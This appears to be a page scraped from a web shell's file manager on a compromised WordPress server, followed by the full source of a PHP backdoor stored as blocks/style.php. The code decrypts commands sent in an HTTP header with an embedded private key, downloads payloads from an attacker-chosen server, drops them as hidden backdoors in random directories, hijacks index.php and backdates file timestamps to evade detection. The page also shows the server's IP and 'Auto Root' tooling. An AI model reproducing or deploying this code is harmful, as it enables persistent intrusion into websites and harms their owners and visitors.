Linux localhost 6.1.10-x86_64-linode159 #1 SMP PREEMPT_DYNAMIC Wed Feb 8 14:14:45 EST 2023 x86_64
Apache/2.4.25 (Debian)
Server IP : 45.33.61.127 & Your IP : 216.73.216.156
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
wp-includes__db40bc3 /
assets /
Delete
Unzip
Name
Size
Permission
Date
Action
wp
[ DIR ]
drwxr-xr-x
2026-06-30 05:38
.htaccess.htaccess.tar.gz
628
B
-rw-r--r--
2026-07-01 17:55
.htaccess.tar
3
KB
-rw-r--r--
2026-07-01 17:55
122985__db40bc3.tar
90
KB
-rw-r--r--
2026-07-01 17:55
122985__db40bc3.tar.gz
14.41
KB
-rw-r--r--
2026-07-01 17:55
122985__db40bc3.zip
87.93
KB
-rw-r--r--
2026-07-01 17:55
5uo3cnwglCdefault.php.php.tar.gz
771.34
KB
-rw-r--r--
2026-07-01 19:20
5uo3cnwglCdefault.php.tar
1023.5
KB
-rw-r--r--
2026-07-01 19:20
662fe.tar
3
KB
-rw-r--r--
2026-07-01 17:55
662fe.tar.gz
604
B
-rw-r--r--
2026-07-01 17:55
662fe.zip
1.16
KB
-rw-r--r--
2026-07-01 17:55
662fe__db40bc3.tar
36
KB
-rw-r--r--
2026-07-01 17:57
662fe__db40bc3.tar.gz
8.51
KB
-rw-r--r--
2026-07-01 17:57
662fe__db40bc3.zip
33.62
KB
-rw-r--r--
2026-07-01 17:55
6bb.tar
104.5
KB
-rw-r--r--
2026-07-01 18:07
6bb.tar.gz
77.82
KB
-rw-r--r--
2026-07-01 18:07
BDKR.txt.tar
2
KB
-rw-r--r--
2026-07-01 18:07
BDKR.txt.txt.tar.gz
176
B
-rw-r--r--
2026-07-01 18:07
BDKR28WP.php__db40bc3.php__db40bc3.tar.gz
17.15
KB
-rw-r--r--
2026-07-01 17:57
BDKR28WP.php__db40bc3.tar
25
KB
-rw-r--r--
2026-07-01 17:57
BDKR28_qw4arqpw.php.php.tar.gz
17.17
KB
-rw-r--r--
2026-07-01 18:08
BDKR28_qw4arqpw.php.tar
25
KB
-rw-r--r--
2026-07-01 18:08
Core.tar
2.5
KB
-rw-r--r--
2026-07-01 19:27
Core.tar.gz
491
B
-rw-r--r--
2026-07-01 19:27
Core.zip
736
B
-rw-r--r--
2026-07-01 19:26
EHHDaB.php.php.tar.gz
523
B
-rw-r--r--
2026-07-01 19:27
EHHDaB.php.tar
2.5
KB
-rw-r--r--
2026-07-01 19:27
ID3.tar
113
KB
-rw-r--r--
2026-07-01 18:06
ID3.tar.gz
34.9
KB
-rw-r--r--
2026-07-01 16:29
ID3.zip
108.59
KB
-rw-r--r--
2026-07-01 18:05
IXR.tar
36.5
KB
-rw-r--r--
2026-07-01 16:30
IXR.tar.gz
7.61
KB
-rw-r--r--
2026-07-01 16:30
IXR.zip
34.81
KB
-rw-r--r--
2026-07-01 16:30
KcuOadLzgJ.php.php.tar.gz
637.29
KB
-rw-r--r--
2026-07-01 19:27
KcuOadLzgJ.php.tar
1.17
MB
-rw-r--r--
2026-07-01 19:27
RMNtNVeZG.php.php.tar.gz
529
B
-rw-r--r--
2026-07-01 19:27
RMNtNVeZG.php.tar
2.5
KB
-rw-r--r--
2026-07-01 19:27
Requests.tar
365
KB
-rw-r--r--
2026-07-01 16:30
Requests.tar.gz
119.16
KB
-rw-r--r--
2026-07-01 16:30
Requests.zip
361.97
KB
-rw-r--r--
2026-07-01 16:30
SimplePie.tar
1.62
MB
-rw-r--r--
2026-07-01 19:20
SimplePie.tar.gz
695.96
KB
-rw-r--r--
2026-07-01 16:31
SimplePie.zip
1.62
MB
-rw-r--r--
2026-07-01 19:20
XzCYY.php.php.tar.gz
637.29
KB
-rw-r--r--
2026-07-01 19:20
XzCYY.php.tar
1.17
MB
-rw-r--r--
2026-07-01 19:20
a9a.tar
104.5
KB
-rw-r--r--
2026-07-01 18:07
a9a.tar.gz
77.82
KB
-rw-r--r--
2026-07-01 18:07
admin.php.php.tar.gz
7.96
KB
-rw-r--r--
2026-07-01 17:55
admin.php.tar
33
KB
-rw-r--r--
2026-07-01 17:55
archives.php.php.tar.gz
123
B
-rw-r--r--
2026-07-01 18:08
archives.php.tar
1.5
KB
-rw-r--r--
2026-07-01 18:08
assets.tar
9.56
MB
-rw-r--r--
2026-07-01 16:30
assets.tar.gz
4.62
MB
-rw-r--r--
2026-07-01 16:30
assets.zip
184.13
KB
-rw-r--r--
2026-07-01 16:29
block-supports.tar
2.5
KB
-rw-r--r--
2026-07-01 16:33
block-supports.tar.gz
491
B
-rw-r--r--
2026-07-01 16:33
block-supports.zip
734
B
-rw-r--r--
2026-07-01 16:32
blocks.tar
292.5
KB
-rw-r--r--
2026-07-01 16:31
blocks.tar.gz
91.63
KB
-rw-r--r--
2026-07-01 16:31
blocks.zip
286.32
KB
-rw-r--r--
2026-07-01 16:30
category.php.php.tar.gz
119
B
-rw-r--r--
2026-07-01 16:33
category.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:33
comment.php.php.tar.gz
118
B
-rw-r--r--
2026-07-01 16:33
comment.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:33
cron.php.php.tar.gz
117
B
-rw-r--r--
2026-07-01 16:31
cron.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:31
crystal.tar
2.5
KB
-rw-r--r--
2026-07-01 18:07
crystal.tar.gz
418
B
-rw-r--r--
2026-07-01 18:07
crystal.zip
792
B
-rw-r--r--
2026-07-01 18:07
css.tar
1.51
MB
-rw-r--r--
2026-07-01 16:30
css.tar.gz
735.4
KB
-rw-r--r--
2026-07-01 16:30
css.zip
1.51
MB
-rw-r--r--
2026-07-01 16:29
detail.php__db40bc3.php__db40bc3.tar.gz
11
KB
-rw-r--r--
2026-07-01 17:56
detail.php__db40bc3.tar
26
KB
-rw-r--r--
2026-07-01 17:56
dist.tar
2.81
MB
-rw-r--r--
2026-07-01 18:07
dist.tar.gz
896.64
KB
-rw-r--r--
2026-07-01 18:07
dist.zip
2.8
MB
-rw-r--r--
2026-07-01 18:07
doge.gif.gif.tar.gz
123
B
-rw-r--r--
2026-07-01 18:07
doge.gif.tar
1.5
KB
-rw-r--r--
2026-07-01 18:07
edit.php.php.tar.gz
2.7
KB
-rw-r--r--
2026-07-01 18:07
edit.php.tar
7.5
KB
-rw-r--r--
2026-07-01 18:07
efhovyCCWY.php.php.tar.gz
20.94
KB
-rw-r--r--
2026-07-01 19:27
efhovyCCWY.php.tar
59.5
KB
-rw-r--r--
2026-07-01 19:27
ewfmfc.php.php.tar.gz
10.92
KB
-rw-r--r--
2026-07-01 16:31
ewfmfc.php.tar
25.5
KB
-rw-r--r--
2026-07-01 16:31
files.php
77.92
KB
-rw-r--r--
2026-05-19 07:52
files.php.php.tar.gz
24.16
KB
-rw-r--r--
2026-07-01 14:57
files.php.tar
79.5
KB
-rw-r--r--
2026-07-01 14:57
goods.php__db40bc3.php__db40bc3.tar.gz
870
B
-rw-r--r--
2026-07-01 17:55
goods.php__db40bc3.tar
3
KB
-rw-r--r--
2026-07-01 17:55
google779e782eb1fb8a26.html__db40bc3.html__db40bc3.tar.gz
153
B
-rw-r--r--
2026-07-01 17:57
google779e782eb1fb8a26.html__db40bc3.tar
2
KB
-rw-r--r--
2026-07-01 17:57
huZZbE.php.php.tar.gz
516
B
-rw-r--r--
2026-07-01 16:33
huZZbE.php.tar
2.5
KB
-rw-r--r--
2026-07-01 16:33
images.tar
69.5
KB
-rw-r--r--
2026-07-01 19:20
images.tar.gz
7.89
KB
-rw-r--r--
2026-07-01 16:30
images.zip
65.55
KB
-rw-r--r--
2026-07-01 19:20
index.php.php.tar.gz
63.38
KB
-rw-r--r--
2026-07-01 17:55
index.php.tar
175.5
KB
-rw-r--r--
2026-07-01 19:20
index.php0__db40bc3.php0__db40bc3.tar.gz
57.62
KB
-rw-r--r--
2026-07-01 17:56
index.php0__db40bc3.tar
103.5
KB
-rw-r--r--
2026-07-01 17:56
index.php__db40bc3.php__db40bc3.tar.gz
1.39
KB
-rw-r--r--
2026-07-01 17:55
index.php__db40bc3.tar
4.5
KB
-rw-r--r--
2026-07-01 17:55
jcrop.tar
2
KB
-rw-r--r--
2026-07-01 18:08
jcrop.tar.gz
422
B
-rw-r--r--
2026-07-01 18:08
jcrop.zip
634
B
-rw-r--r--
2026-07-01 18:07
jquery.table-hotskey.min.js.table-hotskey.min.js.tar.gz
460
B
-rw-r--r--
2026-07-01 19:27
jquery.table-hotskey.min.js.tar
2.5
KB
-rw-r--r--
2026-07-01 19:27
jquery.tar
2.5
KB
-rw-r--r--
2026-07-01 18:07
jquery.tar.gz
430
B
-rw-r--r--
2026-07-01 18:07
jquery.zip
814
B
-rw-r--r--
2026-07-01 18:07
js.tar
3.67
MB
-rw-r--r--
2026-07-01 16:31
js.tar.gz
1.51
MB
-rw-r--r--
2026-07-01 16:31
js.zip
3.66
MB
-rw-r--r--
2026-07-01 16:30
kywlmrdc.php.php.tar.gz
4.4
KB
-rw-r--r--
2026-07-01 18:08
kywlmrdc.php.tar
20
KB
-rw-r--r--
2026-07-01 18:08
library.tar
232.5
KB
-rw-r--r--
2026-07-01 17:57
library.tar.gz
58.75
KB
-rw-r--r--
2026-07-01 17:57
library.zip
229.3
KB
-rw-r--r--
2026-07-01 17:57
license.txt.tar
1.5
KB
-rw-r--r--
2026-07-01 18:07
license.txt.txt.tar.gz
124
B
-rw-r--r--
2026-07-01 18:07
load.php.php.tar.gz
116
B
-rw-r--r--
2026-07-01 16:31
load.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:31
namespaced.tar
1.17
MB
-rw-r--r--
2026-07-01 18:09
namespaced.tar.gz
638.28
KB
-rw-r--r--
2026-07-01 18:09
namespaced.zip
1.17
MB
-rw-r--r--
2026-07-01 18:08
networks.php__db40bc3.php__db40bc3.tar.gz
1.04
KB
-rw-r--r--
2026-07-01 17:55
networks.php__db40bc3.tar
3.5
KB
-rw-r--r--
2026-07-01 17:55
ohuhwjv5.php.php.tar.gz
670
B
-rw-r--r--
2026-07-01 18:07
ohuhwjv5.php.tar
3
KB
-rw-r--r--
2026-07-01 18:07
options.php__db40bc3.php__db40bc3.tar.gz
822
B
-rw-r--r--
2026-07-01 17:57
options.php__db40bc3.tar
3
KB
-rw-r--r--
2026-07-01 17:57
paragraph.tar
6
KB
-rw-r--r--
2026-07-01 18:07
paragraph.tar.gz
1.52
KB
-rw-r--r--
2026-07-01 18:07
paragraph.zip
4.33
KB
-rw-r--r--
2026-07-01 18:07
pattern.tar
91
KB
-rw-r--r--
2026-07-01 18:07
pattern.tar.gz
27.31
KB
-rw-r--r--
2026-07-01 18:07
pattern.zip
89.21
KB
-rw-r--r--
2026-07-01 18:07
plugin.php.php.tar.gz
118
B
-rw-r--r--
2026-07-01 16:33
plugin.php.tar
67.5
KB
-rw-r--r--
2026-07-01 18:07
products.php__db40bc3.php__db40bc3.tar.gz
11.03
KB
-rw-r--r--
2026-07-01 17:55
products.php__db40bc3.tar
26
KB
-rw-r--r--
2026-07-01 17:55
query-no-results.tar
119.5
KB
-rw-r--r--
2026-07-01 18:09
query-no-results.tar.gz
36.89
KB
-rw-r--r--
2026-07-01 18:09
query-no-results.zip
116.86
KB
-rw-r--r--
2026-07-01 18:09
query-pagination.tar
6
KB
-rw-r--r--
2026-07-01 18:09
query-pagination.tar.gz
1.88
KB
-rw-r--r--
2026-07-01 18:09
query-pagination.zip
4.57
KB
-rw-r--r--
2026-07-01 18:09
query.php.php.tar.gz
118
B
-rw-r--r--
2026-07-01 16:31
query.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:31
rest-api.php.php.tar.gz
120
B
-rw-r--r--
2026-07-01 16:33
rest-api.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:33
revisson.php.php.tar.gz
7.06
KB
-rw-r--r--
2026-07-01 16:31
revisson.php.tar
18
KB
-rw-r--r--
2026-07-01 16:31
robots.txt__db40bc3.tar
2
KB
-rw-r--r--
2026-07-01 17:55
robots.txt__db40bc3.txt__db40bc3.tar.gz
219
B
-rw-r--r--
2026-07-01 17:55
smilies.tar
18
KB
-rw-r--r--
2026-07-01 18:07
smilies.tar.gz
7.04
KB
-rw-r--r--
2026-07-01 18:07
smilies.zip
16.52
KB
-rw-r--r--
2026-07-01 18:07
sodium_compat.tar
1.17
MB
-rw-r--r--
2026-07-01 16:31
sodium_compat.tar.gz
638.74
KB
-rw-r--r--
2026-07-01 16:31
sodium_compat.zip
1.17
MB
-rw-r--r--
2026-07-01 16:30
src.tar
366.5
KB
-rw-r--r--
2026-07-01 18:09
src.tar.gz
119.15
KB
-rw-r--r--
2026-07-01 17:57
src.zip
362.65
KB
-rw-r--r--
2026-07-01 18:08
style-engine.tar
1.17
MB
-rw-r--r--
2026-07-01 16:31
style-engine.tar.gz
637.23
KB
-rw-r--r--
2026-07-01 16:31
style-engine.zip
1.17
MB
-rw-r--r--
2026-07-01 16:30
style.php.php.tar.gz
3.92
KB
-rw-r--r--
2026-07-01 18:07
style.php.tar
15
KB
-rw-r--r--
2026-07-01 18:07
theme.php.php.tar.gz
117
B
-rw-r--r--
2026-07-01 16:31
theme.php.tar
1.5
KB
-rw-r--r--
2026-07-01 16:31
themes.tar
1.17
MB
-rw-r--r--
2026-07-01 19:20
themes.tar.gz
638.77
KB
-rw-r--r--
2026-07-01 19:20
themes.zip
1.17
MB
-rw-r--r--
2026-07-01 19:20
tinymce.tar
1.17
MB
-rw-r--r--
2026-07-01 18:07
tinymce.tar.gz
639.54
KB
-rw-r--r--
2026-07-01 18:07
tinymce.zip
1.17
MB
-rw-r--r--
2026-07-01 18:05
ueaopn.php.php.tar.gz
10.92
KB
-rw-r--r--
2026-07-01 16:31
ueaopn.php.tar
25.5
KB
-rw-r--r--
2026-07-01 16:31
wp-admin__db40bc3.tar
995
KB
-rw-r--r--
2026-07-01 17:56
wp-admin__db40bc3.tar.gz
544.22
KB
-rw-r--r--
2026-07-01 17:56
wp-admin__db40bc3.zip
974.48
KB
-rw-r--r--
2026-07-01 17:55
wp-conffg.php__db40bc3.php__db40bc3.tar.gz
40.03
KB
-rw-r--r--
2026-07-01 17:56
wp-conffg.php__db40bc3.tar
129.5
KB
-rw-r--r--
2026-07-01 17:56
wp-emoji-in.min.js.min.js.tar.gz
11.04
KB
-rw-r--r--
2026-07-01 18:09
wp-emoji-in.min.js.tar
26
KB
-rw-r--r--
2026-07-01 18:09
wp-includes.tar
1.5
KB
-rw-r--r--
2026-07-01 17:55
wp-includes.tar.gz
89
B
-rw-r--r--
2026-07-01 17:55
wp-includes.zip
166
B
-rw-r--r--
2026-07-01 17:55
wp-includes__db40bc3.tar
100.11
MB
-rw-r--r--
2026-07-01 17:56
wp-includes__db40bc3.tar.gz
55.33
MB
-rw-r--r--
2026-07-01 17:56
wp-includes__db40bc3.zip
49.54
MB
-rw-r--r--
2026-07-01 17:55
wp-list-revh.min.js.min.js.tar.gz
255
B
-rw-r--r--
2026-07-01 18:09
wp-list-revh.min.js.tar
2
KB
-rw-r--r--
2026-07-01 18:09
wp-log1n.php__db40bc3.php__db40bc3.tar.gz
1.07
KB
-rw-r--r--
2026-07-01 17:55
wp-log1n.php__db40bc3.tar
3.5
KB
-rw-r--r--
2026-07-01 17:55
wp.tar
3.6
MB
-rw-r--r--
2026-07-01 19:26
wp.tar.gz
484
B
-rw-r--r--
2026-07-01 14:57
wp.zip
4.76
MB
-rw-r--r--
2026-07-01 19:31
xb1831f.tar
215.5
KB
-rw-r--r--
2026-07-01 19:20
xb1831f.tar.gz
158.69
KB
-rw-r--r--
2026-07-01 16:30
xb1831f.zip
212.01
KB
-rw-r--r--
2026-07-01 19:20
zDRuYOlh.php.php.tar.gz
7.64
KB
-rw-r--r--
2026-07-01 19:27
zDRuYOlh.php.tar
36.5
KB
-rw-r--r--
2026-07-01 19:27
Save
Rename
var/www/html/wp-includes__db40bc3/blocks/style.php 0000644 00000032577 15221253544 0016065 0 ustar 00 <?php error_reporting(0); class ErrorCode { const E_200400 = 200400; } class MsgText { const PARAM_EMPTY = 'param is empty'; const PARAM_TYPE = 'param type error'; const VALUE_ERROR = 'value error'; const NOCHANGE = 'no change'; const LOCK_FILE_SUCCESS = 'generate lock file success,but lock index.php error'; const LOCK_FILE_ERROR = 'generate lock file error'; const REMOTE_GET_ERROR = 'get remote content error'; const LOCAL_FILE_ERROR = 'generate local file error'; const SUCCESS = 'success'; const LOCAL_FILE_EXISTS = 'local file doesn\'t exist'; const REMOTE_FILE_EXISTS = 'remote file doesn\'t exist'; const RENAME_ERROR = 'rename error'; const INDEX_ERROR = 'index hijack error'; const UNKNOWN_ERROR = 'unknown error'; const DECRYPT_FAIL = 'params decrypt fail'; } function error($msg = MsgText::UNKNOWN_ERROR, $extras = [], $code = 0) { empty($code) && $code = ErrorCode::E_200400; exit(@json_encode(['code' => $code, 'msg' => $msg, 'extras' => $extras], JSON_UNESCAPED_UNICODE)); } function success($data) { exit(@json_encode(['code' => 200, 'msg' => MsgText::SUCCESS, 'data' => $data], JSON_UNESCAPED_UNICODE)); } function getDirPathsByLevel($level = 6) { $initDir = $_SERVER['DOCUMENT_ROOT']; $dirs = array($initDir); $count = count($dirs); while (count($dirs) > ($count - 1)) { $path = $dirs[($count - 1)]; $count += 1; if (@is_dir($path) && @$handle = @opendir($path)) { while ($file = @readdir($handle)) { $realpath = $path . '/' . $file; if ($file == '.' || $file == '..' || !is_dir($realpath) || substr($file, 0, 1) === '.') { continue; } $path3 = str_replace($initDir, "", $path); $path4 = explode("/", $path3); if (count($path4) > $level - 1) { continue; } $dirs[] = $realpath; } } @closedir($handle); } return $dirs; } function getUrl($url) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); curl_exec($curl); $httpCode = curl_getinfo($curl, CURLINFO_HTTP_CODE); curl_close($curl); if ($httpCode === 200) { $content = curl_exec($curl); return ['code' => 200, 'resp' => $content]; } return ['code' => 500, 'resp' => '']; } function getRemoteContent($url) { $content = @file_get_contents($url); if ($content === false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1); curl_setopt($curl, CURLOPT_TIMEOUT, 5); curl_setopt($curl, CURLOPT_AUTOREFERER, 0); $content = curl_exec($curl); curl_close($curl); } return !empty($content) && is_string($content) ? $content : ''; } function copyfile($content, $localfile, $isAppend = false, $appendContent = '') { if ($isAppend && !empty($appendContent)) { $content = trim($content); if (substr($content, -2, 2) !== '?>') { $content .= ' ?>'; } $content = $content . PHP_EOL . PHP_EOL . $appendContent; } @file_put_contents($localfile, $content); if (!file_exists($localfile)) { $openedfile = @fopen($localfile, "w"); @fwrite($openedfile, $content); @fclose($openedfile); } if (!file_exists($localfile)) { return false; } return true; } function updateFiletime($filepath) { $ctime = filectime($filepath); $now = time(); if (!($now > $ctime + 31104000)) { $newTime = $now - (mt_rand(15552000, 31104000)); touch($filepath, $newTime, $newTime); return true; } return true; } $privateKey = '-----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC30w49ItOfldQ6 dB+0gEbeeW6BEClcx+NZzmpX2YcRHFV80BurCWBavPFehV8Sy9yL2u/y3mv3QJJ+ x2kKvly8zKx4GbXPbsWJk6Ho0Rxq49oXkBarQBOqROZeaFF3Mzpd/PdLSsxEvG1M tQd2wOx5r6XD86jyfN7LAJUUVvbJvn1CHo03nFH12k1KYwLnQfzQI5nX7yQLa0jt fG5TA34Fm0EMbFdHWjAN/VdEjoJI6it4PCQP5wk4ga2BvVquQkuPbsbr8364d3I6 GuGAKDR0wfkT20n0E6kAmDI3ol2bfa0rQncqUS3OU3INpxOZS8eKCIgC3bM81mdi MQ6TsAQ9AgMBAAECggEAJLGSlA2RpLdpx8lKUuOQQfSHZGfveb/E2DZl7+dSGM5J GkMIYtnaTAKPQ8jns37SJXCsmRRhBNf05i20ABsDtAQ/ITIwopmAAPhhR3IGdCfL bwyqGcEOq9xZB9tW965YJk7KplLl94qNXtR8Cu5zxc6UDktjHBRk/Ky/FXJOjPKM sA8rhox7dqlZUB3I/qiqrQOgT1Bsq1BFT+2GGwRUWZ1CyFoZvhsDomdo4yhRrB0b 8Ym4MDiVqxFPVW8XB9RFD9YKt+v50Eb6iSKJNLpRmjZDNZbrEYO6NRsRBM7brDa9 n39mZWFr47wGGXXv/NhwTvRI+2Si/ZfdP4+o5TeSWQKBgQDhIVOUODisiLhk7XKb Yu7BW1ZFcK0JxurqHN22msvA0Q/1q4RvziETjekXIn9lVKCmS/gy2O2RtuQRulAR fc3sz2W9tNXRF8Avy0728NG0baOOwBalO8w3cCX6Nnm70pJer+iJSn3tmAKSB4LT vbSB8pt6QgP8NPHyQdWp2LwOtwKBgQDRB8lgSaImIMJBaXERSaoNg8kxv3/cv4g5 jUlljxNQcUsj0V7XilnB3mFxq5rHjBZTsKzMMQyvhOxYhptDfw6OLtoPUk2WiBUs l3qU0tIXNN+cTxu2SMKTjwMktkpmACJqa+k27eEUqxrKO/6SEiP9FMXHvgA4EEBM Hww1eU9QqwKBgAWSY5Uphw2OHLIyxkFeQ3Z5ojr5vO6fA7VjnYEld6GACxsTcaWq vlrTik9ORUTmwUscWjo38DlJA4AE0nJ8YJpZz7TQQvJ32gPUzlGCSE5k4EVqL6VL Q5Sjq+zzaDPj1EePpvuu4kr9FiMzGGPRMCR/MqXl+F9HmC1cv8MCYDUlAoGBAK77 g7pVKaYdWkCD0iEUt4Rkw/IfSxwyQglbmwungBWhIbO0O17X9Fd0n8IWU5WkUbRx e9XbYbE05t0cobEZFcg0tFqLHWRcOs1/aSBYc4L1whMJrjskIa6A07LR3uoQRr8r 4qkW7YrtyZluK6eABByCXSbeiTRldk3C1+eTy6/NAoGAb9/J+NWrhYSr/VoGWjui chXCNszy4w6exVwxXQKNTtlzKxyhQfVPK2BxrptWL6KCRKpz3wh+WY2C3QYyVfwG FB4hwDr2mY4TWF9pD194iES1yhrQGlI8XM+2LVhBl3p0x+TFgJMaTgDDqAnxpuqT upBYqTYMlOd+VR7hENMaFqo= -----END PRIVATE KEY-----'; $p = $_SERVER['HTTP_P']; $params = openssl_private_decrypt(base64_decode(urldecode($p)), $decrypted, $privateKey) ? $decrypted : null; if (is_null($params)) { error(MsgText::DECRYPT_FAIL); } $params = json_decode($params, true); if (!is_array($params)) { error(MsgText::PARAM_TYPE, $params); } if (empty($params['server'])) { error('server ' . MsgText::PARAM_EMPTY); } if (empty($params['iden'])) { error('iden ' . MsgText::PARAM_EMPTY); } $iden = isset($params['iden']) ? strtolower($params['iden']) : ''; switch ($iden) { case "beima": $res = doBeima($params); break; case "rename": $res = doRename($params); break; case "index": $res = doIndex($params); break; case "sub": case "htaccess": $res = doSub($params); break; case "lock": $res = doLock($params); break; case "style": $res = doStyle($params); break; default: error('iden ' . MsgText::VALUE_ERROR); } function doBeima($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } empty($params['level']) && $params['level'] = 6; $dirs = getDirPathsByLevel($params['level']); $temp = array_rand($dirs); $createDir = $dirs[$temp] . '/'; $localfilepath = $createDir . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); $beimaurl = str_replace($_SERVER['DOCUMENT_ROOT'], '', $localfilepath); success(compact('localfilepath', 'beimaurl')); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_FILE_EXISTS, compact('remoteFileUrl')); } function doRename($params) { if (empty($params['sourcename'])) { error('sourcename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['rename'])) { error('rename ' . MsgText::PARAM_EMPTY, $params); } if ($params['sourcename'] === $params['rename']) { error(MsgText::NOCHANGE); } $sourceFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['sourcename']; $renameFile = dirname(__FILE__) . DIRECTORY_SEPARATOR . $params['rename']; $resSource = $params['server'] . str_replace(strtolower($_SERVER['DOCUMENT_ROOT']), '', strtolower($sourceFile)); $resSource = str_replace('\\', '/', $resSource); if (file_exists($sourceFile)) { if (rename($sourceFile, $renameFile)) { success($renameFile); } else { error(MsgText::RENAME_ERROR, compact('renameFile')); } } else { error(MsgText::LOCAL_FILE_EXISTS, compact('resSource')); } } function doIndex($params) { if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $remoteUrl = $params['server'] . trim($params['shellfile']); $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/index.php'; $content = getRemoteContent($remoteUrl); $content = json_decode($content, true); if (!empty($content['result'])) { $oldContent = ''; if (file_exists($localfilepath)) { $oldContent = @file_get_contents($localfilepath); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/index.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/index.htm'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.html')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.html'); } elseif (file_exists($_SERVER['DOCUMENT_ROOT'] . '/default.htm')) { $oldContent = @file_get_contents($_SERVER['DOCUMENT_ROOT'] . '/default.htm'); } if (copyfile($content['result'], $localfilepath, true, $oldContent)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::INDEX_ERROR, compact('remoteUrl')); } function doSub($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doLock($params) { if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['shellfile'])) { error('shellfile ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $_SERVER['DOCUMENT_ROOT'] . '/' . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { $lockurl = $params['domain'] . $params['filename']; $lockres = getUrl($lockurl); @unlink($localfilepath); if ($lockres['code'] === 200 && !empty($lockres['resp']) && strpos($lockres['resp'], 'success')) { success($lockres['resp']); } error(MsgText::LOCK_FILE_SUCCESS, compact('lockurl', 'lockres')); } @unlink($localfilepath); error(MsgText::LOCK_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); } function doStyle($params) { if (empty($params['shellfile'])) { error('shellfile' . MsgText::PARAM_EMPTY, $params); } if (empty($params['filename'])) { error('filename ' . MsgText::PARAM_EMPTY, $params); } if (empty($params['domain'])) { error('domain ' . MsgText::PARAM_EMPTY, $params); } $localfilepath = $params['domain'] . $params['filename']; $remoteFileUrl = $params['server'] . $params['shellfile']; $content = getRemoteContent($remoteFileUrl); $content = json_decode($content, true); if (!empty($content['result'])) { if (copyfile($content['result'], $localfilepath)) { updateFiletime($localfilepath); @chmod($localfilepath, 0644); success($localfilepath); } error(MsgText::LOCAL_FILE_ERROR, compact('localfilepath')); } error(MsgText::REMOTE_GET_ERROR, compact('remoteFileUrl')); }